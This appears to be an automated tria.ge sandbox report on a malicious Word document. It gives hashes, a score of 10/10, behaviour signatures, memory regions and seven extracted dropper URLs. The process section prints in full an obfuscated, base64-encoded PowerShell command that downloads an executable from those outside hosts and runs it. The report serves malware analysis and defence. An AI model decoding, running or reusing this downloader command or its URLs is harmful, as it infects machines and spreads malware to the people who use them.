Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 00:12

General

  • Target

    8276b8d012af8de62e9fb51a491c92d1_JaffaCakes118.doc

  • Size

    154KB

  • MD5

    8276b8d012af8de62e9fb51a491c92d1

  • SHA1

    478ebc666f5cdbbd5020c8dc46ea06c32cf24b6b

  • SHA256

    b75def84d6907e45b5d49294b334f5691628413ba5ddb2c9e22e6d3e56992f63

  • SHA512

    069e0fb89f9a98b0afc5ec43eb896e8248a0a040d82f20661c15f703f6111ff3a8eb85326a3e91f1373c694928068a8a57180fce73b19b0833ba6142930f888c

  • SSDEEP

    1536:CJ0ZsWTJ0ZsWirdi1Ir77zOH98Wj2gpngR+a9xQ54LW06u:5rfrzOH98ipgt+qD6u

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://intrasistemas.com/cgi-bin/mTQls3/

exe.dropper

http://gforcems.it/modules/D/

exe.dropper

http://cooltattoo.es/hatone/6YAA0O2/

exe.dropper

http://diesner.de/css/cf/

exe.dropper

http://go4it24.be/administrator/Q1r3/

exe.dropper

http://eltrafalgar.com/wp-includes/VFSi/

exe.dropper

http://infoestudio.es/cursos/qPP/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8276b8d012af8de62e9fb51a491c92d1_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      377ece4a1a4cd77c352acd0629a7601b

      SHA1

      3ca71d49f01ee5e985887e61dd339378b6fe0abb

      SHA256

      07cf9aad63452fe8cff65b64c420bf56f250a83d0660ef39028d9e5e4dd1d555

      SHA512

      3949edd5e046125ba641213b36b310239679ef62d99247fd0c11d5d1b60ba151112e8256bd314ecc5c50f66160f370127a258147ab7d06de80fbf997431acce4

    • memory/2688-40-0x0000000001D90000-0x0000000001D98000-memory.dmp

      Filesize

      32KB

    • memory/2688-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

    • memory/3024-20-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-7-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-8-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-9-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-11-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-10-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-12-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-15-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-17-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-16-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-14-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-13-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-18-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-22-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-21-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-0-0x000000002F9D1000-0x000000002F9D2000-memory.dmp

      Filesize

      4KB

    • memory/3024-26-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-19-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-6-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-25-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-24-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-23-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-29-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-31-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-32-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-30-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-28-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-33-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-27-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-2-0x000000007198D000-0x0000000071998000-memory.dmp

      Filesize

      44KB

    • memory/3024-45-0x000000007198D000-0x0000000071998000-memory.dmp

      Filesize

      44KB

    • memory/3024-47-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-48-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/3024-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3024-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3024-65-0x000000007198D000-0x0000000071998000-memory.dmp

      Filesize

      44KB